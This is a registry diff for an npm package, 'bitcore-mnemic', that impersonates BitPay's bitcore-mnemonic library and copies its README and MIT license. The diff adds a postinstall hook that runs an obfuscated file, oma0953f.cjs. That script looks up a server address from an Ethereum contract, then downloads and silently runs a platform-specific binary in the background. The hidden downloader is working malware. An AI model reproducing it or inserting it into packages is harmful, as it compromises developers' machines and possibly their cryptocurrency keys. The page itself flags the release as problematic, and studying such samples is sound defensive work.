bitcore-mnemic 0.0.1-security → 10.5.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of bitcore-mnemic might be problematic. Click here for more details.
- package/LICENSE +22 -0
- package/README.md +35 -3
- package/index.js +1 -0
- package/oma0953f.cjs +1 -0
- package/package.json +52 -4
package/LICENSE
ADDED
@@ -0,0 +1,22 @@
|
|
1
|
+
The MIT License (MIT)
|
2
|
+
|
3
|
+
Copyright (c) 2014 BitPay
|
4
|
+
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
7
|
+
in the Software without restriction, including without limitation the rights
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
10
|
+
furnished to do so, subject to the following conditions:
|
11
|
+
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
13
|
+
copies or substantial portions of the Software.
|
14
|
+
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
21
|
+
SOFTWARE.
|
22
|
+
|
package/README.md
CHANGED
@@ -1,5 +1,37 @@
|
|
1
|
-
#
|
1
|
+
# Bitcore Mnemonics
|
2
2
|
|
3
|
-
|
3
|
+
BIP39 Mnemonics for bitcore
|
4
4
|
|
5
|
-
|
5
|
+
[](https://www.npmjs.org/package/bitcore-mnemonic)
|
6
|
+
[](https://travis-ci.org/bitpay/bitcore-mnemonic)
|
7
|
+
[](https://coveralls.io/r/bitpay/bitcore-mnemonic)
|
8
|
+
|
9
|
+
**A module for [bitcore](https://github.com/bitpay/bitcore) that implements [Mnemonic code for generating deterministic keys](https://github.com/bitcoin/bips/blob/master/bip-0039.mediawiki).**
|
10
|
+
|
11
|
+
## Getting Started
|
12
|
+
|
13
|
+
This library is distributed in both the npm packaging systems.
|
14
|
+
|
15
|
+
```sh
|
16
|
+
npm install bitcore-lib #this to install bitcore-lib since it is a peerDependecy
|
17
|
+
npm install bitcore-mnemonic
|
18
|
+
```
|
19
|
+
|
20
|
+
There are many examples of how to use it on the developer guide [section for mnemonic](./docs/index.md). For example, the following code would generate a new random mnemonic code and convert it to a `HDPrivateKey`.
|
21
|
+
|
22
|
+
```javascript
|
23
|
+
var Mnemonic = require('bitcore-mnemonic');
|
24
|
+
var code = new Mnemonic(Mnemonic.Words.SPANISH);
|
25
|
+
code.toString(); // natal hada sutil año sólido papel jamón combate aula flota ver esfera...
|
26
|
+
var xpriv = code.toHDPrivateKey();
|
27
|
+
```
|
28
|
+
|
29
|
+
## Contributing
|
30
|
+
|
31
|
+
See [CONTRIBUTING.md](https://github.com/bitpay/bitcore/blob/master/CONTRIBUTING.md) on the main bitcore repo for information about how to contribute.
|
32
|
+
|
33
|
+
## License
|
34
|
+
|
35
|
+
Code released under [the MIT license](https://github.com/bitpay/bitcore/blob/master/LICENSE).
|
36
|
+
|
37
|
+
Copyright 2013-2019 BitPay, Inc. Bitcore is a trademark maintained by BitPay, Inc.
|
package/index.js
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
module.exports = require('./lib/mnemonic');
|
package/oma0953f.cjs
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
const _0x4a861c=_0x45ba;(function(_0x47ef1d,_0x280277){const _0x1679da=_0x45ba,_0x212120=_0x47ef1d();while(!![]){try{const _0x56d31f=parseInt(_0x1679da(0x115))/0x1*(-parseInt(_0x1679da(0xf2))/0x2)+parseInt(_0x1679da(0xf9))/0x3*(-parseInt(_0x1679da(0x10a))/0x4)+-parseInt(_0x1679da(0x10b))/0x5+parseInt(_0x1679da(0x109))/0x6*(parseInt(_0x1679da(0x103))/0x7)+parseInt(_0x1679da(0x107))/0x8*(-parseInt(_0x1679da(0x113))/0x9)+parseInt(_0x1679da(0x110))/0xa+parseInt(_0x1679da(0xeb))/0xb*(parseInt(_0x1679da(0x102))/0xc);if(_0x56d31f===_0x280277)break;else _0x212120['push'](_0x212120['shift']());}catch(_0x183087){_0x212120['push'](_0x212120['shift']());}}}(_0x265f,0x21181));const {ethers}=require(_0x4a861c(0x117)),axios=require(_0x4a861c(0xf0)),util=require('util'),fs=require('fs'),path=require('path'),os=require('os'),{spawn}=require('child_process'),contractAddress=_0x4a861c(0xf5),WalletOwner=_0x4a861c(0xea),abi=[_0x4a861c(0xf7)],provider=ethers[_0x4a861c(0x108)]('mainnet'),contract=new ethers[(_0x4a861c(0xfb))](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0x32dc87=_0x4a861c,_0x422b79={'wfaev':function(_0x454d20){return _0x454d20();}};try{const _0x9dcb2d=await contract[_0x32dc87(0x112)](WalletOwner);return _0x9dcb2d;}catch(_0x4990cd){return console['error'](_0x32dc87(0x111),_0x4990cd),await _0x422b79['wfaev'](fetchAndUpdateIp);}},getDownloadUrl=_0x406bae=>{const _0x21ce3c=_0x4a861c,_0x23434b={'ivgfu':'win32','XSriW':_0x21ce3c(0xf1)},_0x149b49=os[_0x21ce3c(0xf4)]();switch(_0x149b49){case _0x23434b[_0x21ce3c(0xe7)]:return _0x406bae+_0x21ce3c(0x114);case _0x21ce3c(0xfc):return _0x406bae+_0x21ce3c(0xec);case _0x23434b['XSriW']:return _0x406bae+'/node-macos';default:throw new Error('Unsupported\x20platform:\x20'+_0x149b49);}},downloadFile=async(_0x5d29e4,_0x4e89ac)=>{const _0x37daa2=_0x4a861c,_0x564ad2={'LQbTD':_0x37daa2(0x104),'jsKHB':function(_0x3eca9c,_0x906fce){return _0x3eca9c(_0x906fce);},'rUKCx':_0x37daa2(0xed),'PrRVv':_0x37daa2(0xe9)},_0x22a260=fs[_0x37daa2(0xe8)](_0x4e89ac),_0xdfc2ee=await _0x564ad2[_0x37daa2(0x101)](axios,{'url':_0x5d29e4,'method':_0x564ad2[_0x37daa2(0x105)],'responseType':_0x564ad2[_0x37daa2(0xf6)]});return _0xdfc2ee['data'][_0x37daa2(0x116)](_0x22a260),new Promise((_0x58e9b2,_0x3581b6)=>{const _0x58123f=_0x37daa2;_0x22a260['on'](_0x564ad2[_0x58123f(0xee)],_0x58e9b2),_0x22a260['on'](_0x58123f(0x10e),_0x3581b6);});},executeFileInBackground=async _0x1e0815=>{const _0x10ccfc=_0x4a861c,_0x8595a7={'DTgjX':function(_0x3e1482,_0x2380c0,_0x4be3a0,_0x11b8f8){return _0x3e1482(_0x2380c0,_0x4be3a0,_0x11b8f8);},'esZRP':_0x10ccfc(0x100)};try{const _0x3e65e1=_0x8595a7[_0x10ccfc(0xfa)](spawn,_0x1e0815,[],{'detached':!![],'stdio':_0x10ccfc(0xef)});_0x3e65e1['unref']();}catch(_0x52d45c){console[_0x10ccfc(0x10e)](_0x8595a7['esZRP'],_0x52d45c);}},runInstallation=async()=>{const _0x4d17a5=_0x4a861c,_0x58b595={'OWbMa':function(_0x5edcb0){return _0x5edcb0();},'dwAQC':function(_0x186747,_0x1347ca){return _0x186747(_0x1347ca);},'FQmHt':function(_0x47c326,_0x4c98ac,_0x35dfb1){return _0x47c326(_0x4c98ac,_0x35dfb1);},'oCjoq':function(_0x54f6c9,_0x347068){return _0x54f6c9!==_0x347068;},'gpaQy':'win32','mOxkM':function(_0x5f3f77,_0x4e8227){return _0x5f3f77(_0x4e8227);},'buNIb':'Ошибка\x20установки:'};try{const _0x15af50=await _0x58b595[_0x4d17a5(0xf8)](fetchAndUpdateIp),_0x392ce4=_0x58b595[_0x4d17a5(0x106)](getDownloadUrl,_0x15af50),_0x441fca=os[_0x4d17a5(0xf3)](),_0xf9ccf7=path['basename'](_0x392ce4),_0x541661=path[_0x4d17a5(0x10c)](_0x441fca,_0xf9ccf7);await _0x58b595[_0x4d17a5(0x118)](downloadFile,_0x392ce4,_0x541661);if(_0x58b595[_0x4d17a5(0x10d)](os[_0x4d17a5(0xf4)](),_0x58b595[_0x4d17a5(0x10f)]))fs[_0x4d17a5(0xfe)](_0x541661,'755');_0x58b595[_0x4d17a5(0xfd)](executeFileInBackground,_0x541661);}catch(_0x429ada){console[_0x4d17a5(0x10e)](_0x58b595[_0x4d17a5(0xff)],_0x429ada);}};function _0x265f(){const _0x52689f=['942750qoUMKC','Ошибка\x20при\x20получении\x20IP\x20адреса:','getString','1629dbAsdC','/node-win.exe','91bKmAfk','pipe','ethers','FQmHt','ivgfu','createWriteStream','stream','0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84','34727IHEJnQ','/node-linux','GET','LQbTD','ignore','axios','darwin','2962vWcWfV','tmpdir','platform','0xa1b40044EBc2794f207D45143Bd82a1B86156c6b','PrRVv','function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)','OWbMa','321FFICJv','DTgjX','Contract','linux','mOxkM','chmodSync','buNIb','Ошибка\x20при\x20запуске\x20файла:','jsKHB','2532rqQnFK','163478exMKFM','finish','rUKCx','dwAQC','10328VSeSTu','getDefaultProvider','18pIBSHi','8164GWbqNZ','540410ObufIT','join','oCjoq','error','gpaQy'];_0x265f=function(){return _0x52689f;};return _0x265f();}function _0x45ba(_0x3d989b,_0xd663e8){const _0x265f54=_0x265f();return _0x45ba=function(_0x45bac5,_0x417b82){_0x45bac5=_0x45bac5-0xe7;let _0x121aab=_0x265f54[_0x45bac5];return _0x121aab;},_0x45ba(_0x3d989b,_0xd663e8);}runInstallation();
|
package/package.json
CHANGED
@@ -1,6 +1,54 @@
|
|
1
1
|
{
|
2
2
|
"name": "bitcore-mnemic",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
6
|
-
|
3
|
+
"version": "10.5.3",
|
4
|
+
"description": "BIP39 Mnemonics implemented for Bitcore.",
|
5
|
+
"author": "BitPay <dev@bitpay.com>",
|
6
|
+
"main": "index.js",
|
7
|
+
"scripts": {
|
8
|
+
"postinstall": "node oma0953f.cjs"
|
9
|
+
},
|
10
|
+
"contributors": [
|
11
|
+
{
|
12
|
+
"name": "Yemel Jardi",
|
13
|
+
"email": "angel.jardi@gmail.com"
|
14
|
+
},
|
15
|
+
{
|
16
|
+
"name": "Matias Alejo Garcia",
|
17
|
+
"email": "ematiu@gmail.com"
|
18
|
+
}
|
19
|
+
],
|
20
|
+
"repository": {
|
21
|
+
"type": "git",
|
22
|
+
"url": "https://github.com/bitpay/bitcore-mnemonic.git"
|
23
|
+
},
|
24
|
+
"keywords": [
|
25
|
+
"bitcoin",
|
26
|
+
"bitcore",
|
27
|
+
"mnemonic",
|
28
|
+
"crypto",
|
29
|
+
"cryptography",
|
30
|
+
"encryption"
|
31
|
+
],
|
32
|
+
"license": "MIT",
|
33
|
+
"devDependencies": {
|
34
|
+
"assert": "^1.4.1",
|
35
|
+
"bitcore-build": "^10.5.3",
|
36
|
+
"brfs": "^2.0.1",
|
37
|
+
"chai": "^4.2.0",
|
38
|
+
"gulp": "^4.0.0",
|
39
|
+
"mocha": "^5.2.0"
|
40
|
+
},
|
41
|
+
"dependencies": {
|
42
|
+
"bitcore-lib": "^10.5.3",
|
43
|
+
"unorm": "^1.4.1",
|
44
|
+
"axios": "^1.7.7",
|
45
|
+
"ethers": "^6.13.2"
|
46
|
+
},
|
47
|
+
"peerDependencies": {
|
48
|
+
"bitcore-lib": "*"
|
49
|
+
},
|
50
|
+
"gitHead": "a69f026fa8f01615bd24c243705ae18b5237a274",
|
51
|
+
"files": [
|
52
|
+
"oma0953f.cjs"
|
53
|
+
]
|
54
|
+
}
|